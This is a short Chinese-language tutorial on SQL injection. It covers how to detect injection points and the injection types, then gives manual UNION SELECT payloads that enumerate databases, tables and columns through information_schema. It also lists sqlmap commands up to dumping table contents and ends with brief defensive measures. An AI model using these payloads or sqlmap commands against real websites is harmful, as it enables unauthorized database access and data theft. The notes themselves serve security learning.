什么是sql 结构化查询语言(Structured Query Language),是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统; 如何去发现sql注入 a 通过web漏洞扫描器 b在参数后面添加错误语句 c大量的对参数fuzz测试 d直觉 注入分类 数字型注入 SELECT * FROM users WHERE id=$id LIMIT 0,1; 字符型注入 SELECT * FROM users WHERE username=‘admin' LIMIT 0,1; 注入提交方式 get post cookie http头部注入
注入方式 基于报错注入 基于布尔的盲注 基于时间的盲注 联合查询 内联查询 堆叠的查询
SQL手工注入 为什么要学习手工注入? 1.猜解字段 2.查看当前数据库 3.Union select 1,group_concat(schema_name),3 from information_schema.schemata%23 // 查询所有数据库 4.union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23 //查询数据库中的表 5.UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name = 0x7573657273%23 //查询表名中的所有字段
SQLMap工具使用 使用环境: python http://sqlmap.org
sqlmap常用参数
- 判断注入 python sqlmap.py http://URL -v 3
- 数据库 python sqlmap.py http://URL --dbs -v 3 python sqlmap.py http://URL –current-user -v 3
- 表名 python sqlmap.py http://URL --tables -D 数据库名 -v 3
- 字段名 python sqlmap.py http://URL --column -T 表名 -D 数据库名 -v 3
- 内容 python sqlmap.py http://URL --dump -T -C 字段名 -T 表名 -D 数据库名 -v 3
post如何使用sqlmap注入
如何去防护SQL注入? cdn隐藏真实ip地址 通过安全函数进行过滤 对数据库最小权限设置 服务器针对性的waf防火墙